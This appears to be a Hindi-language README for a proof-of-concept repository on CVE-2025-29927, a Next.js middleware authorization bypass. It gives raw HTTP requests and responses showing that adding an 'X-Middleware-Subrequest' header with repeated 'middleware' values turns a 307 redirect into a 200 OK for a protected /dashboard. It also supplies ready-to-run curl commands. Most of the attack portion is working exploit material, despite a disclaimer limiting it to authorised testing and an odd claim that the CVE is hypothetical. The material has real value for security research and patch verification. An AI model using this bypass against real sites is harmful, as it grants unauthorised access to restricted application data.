
Next.js मिडलवेयर में प्राधिकरण बाईपास
इस रिपॉजिटरी में CVE-2025-29927 के लिए एक प्रमाण-अवधारणा (PoC) शामिल है, जो एक काल्पनिक भेद्यता है जो किसी वेब एप्लिकेशन के भीतर मिडलवेयर हैंडलिंग में एक दोष को प्रदर्शित करती है। यह PoC दर्शाता है कि कैसे एक विशेष रूप से तैयार किया गया HTTP अनुरोध, डैशबोर्ड जैसी प्रतिबंधित सामग्री तक पहुँचने के लिए रिडायरेक्शन लॉजिक को बायपास कर सकता है। यह प्रोजेक्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए डिज़ाइन किया गया है।
अस्वीकरण: यह PoC स्पष्ट अनुमति के साथ नियंत्रित वातावरण में उपयोग के लिए है। उन प्रणालियों के विरुद्ध अनधिकृत परीक्षण, जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की सहमति आपके पास नहीं है, अवैध और अनैतिक है।
इस PoC का अनुसरण करने के लिए, आपको आवश्यकता होगी:
abc.com) जो एक भेद्य कॉन्फ़िगरेशन पर चल रहा हो (विशिष्ट सॉफ़्टवेयर/संस्करण CVE विवरण के आधार पर बाद में निर्धारित किया जाएगा)।curl (curl.se) जैसा कोई HTTP क्लाइंट टूल, Burp Suite (portswigger.net/burp), या एक कस्टम स्क्रिप्ट।CVE-2025-29927 (प्लेसहोल्डर; उपलब्ध होने पर आधिकारिक CVE विवरण से बदलें) मिडलवेयर गलत कॉन्फ़िगरेशन या लॉजिक दोष का फायदा उठाता प्रतीत होता है। यह PoC दर्शाता है कि एक कस्टम हेडर (X-Middleware-Subrequest) जोड़ने से सर्वर का व्यवहार बदल जाता है, जिससे प्रतिबंधित सामग्री तक पहुँचने के लिए रिडायरेक्शन तंत्र बायपास हो जाता है। यह संभवतः इससे संबंधित है कि मिडलवेयर (जैसे, Next.js के साथ Nginx) सबरिक्वेस्ट को कैसे प्रोसेस करता है या हेडर को कैसे मान्य करता है।
मिडलवेयर भेद्यताओं के बारे में अधिक जानकारी के लिए, OWASP मिडलवेयर सुरक्षा देखें।
इस PoC में दो चरण शामिल हैं: एक प्रारंभिक असफल अनुरोध और एक संशोधित सफल अनुरोध। प्रत्येक चरण में HTTP अनुरोध, प्रतिक्रिया और विस्तृत स्पष्टीकरण शामिल है।
यह चरण बिना अतिरिक्त हेडर के /dashboard एंडपॉइंट तक पहुँचने पर डिफ़ॉल्ट सर्वर व्यवहार को प्रदर्शित करता है।
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: डैशबोर्ड एंडपॉइंट तक पहुँचने का प्रयास करता है।User-Agent और Accept जैसे मानक हेडर एक सामान्य ब्राउज़र अनुरोध की नकल करते हैं।307 Temporary Redirect: इंगित करता है कि सर्वर क्लाइंट को रिडायरेक्ट करता है, संभवतः प्रमाणीकरण, प्राधिकरण, या रूटिंग लॉजिक के कारण (जैसे, लॉगिन पेज पर रिडायरेक्ट करना)।Server: nginx/1.14.1: वेब सर्वर सॉफ़्टवेयर की पहचान करता है।/dashboard तक सीधी पहुँच को रोकता है। इस प्रतिक्रिया में Location हेडर की अनुपस्थिति (संभवतः संक्षिप्तता के लिए छोड़ा गया) का तात्पर्य है कि रिडायरेक्ट गंतव्य कहीं और है।यह चरण रिडायरेक्शन को बायपास करने के लिए एक कस्टम हेडर प्रस्तुत करता है, जिससे डैशबोर्ड सामग्री सफलतापूर्वक प्राप्त होती है।
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: मूल अनुरोध में जोड़ा गया एक कस्टम हेडर। दोहराई गई middleware स्ट्रिंग मिडलवेयर स्टैक में पार्सिंग या मान्यता दोष का फायदा उठा सकती है।200 OK: डैशबोर्ड सामग्री तक सफल पहुँच की पुष्टि करता है।Content-Type: text/html; charset=utf-8: एक HTML प्रतिक्रिया का संकेत देता है, संभवतः डैशबोर्ड पेज।X-Powered-By: Next.js: बताता है कि एप्लिकेशन Next.js का उपयोग करता है, जो एक React फ्रेमवर्क है जो अक्सर रूटिंग के लिए मिडलवेयर पर निर्भर करता है।Cache-Control: कैशिंग को रोकता है, जो गतिशील, उपयोगकर्ता-विशिष्ट सामग्री के लिए सामान्य है।Content-Length: 30174: प्रतिक्रिया बॉडी का आकार बाइट्स में।X-Middleware-Subrequest हेडर संभवतः मिडलवेयर को अनुरोध को एक वैध सबरिक्वेस्ट मानने के लिए धोखा देता है, जिससे रिडायरेक्शन लॉजिक बायपास हो जाता है। यह संकेत दे सकता है कि सबरिक्वेस्ट को मान्य या प्रोसेस करने के तरीके में कोई भेद्यता है।curl का उपयोग करके PoC को दोहराने के लिए इन चरणों का पालन करें:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
अपेक्षित आउटपुट: एक 307 Temporary Redirect प्रतिक्रिया।
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
अपेक्षित आउटपुट: डैशबोर्ड सामग्री के साथ एक 200 OK प्रतिक्रिया।
नोट: यदि अधिकृत वातावरण में परीक्षण कर रहे हैं तो abc.com को वास्तविक लक्ष्य डोमेन से बदलें।
curl का उपयोग करने की मार्गदर्शिका।यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है। विवरण के लिए LICENSE फ़ाइल देखें।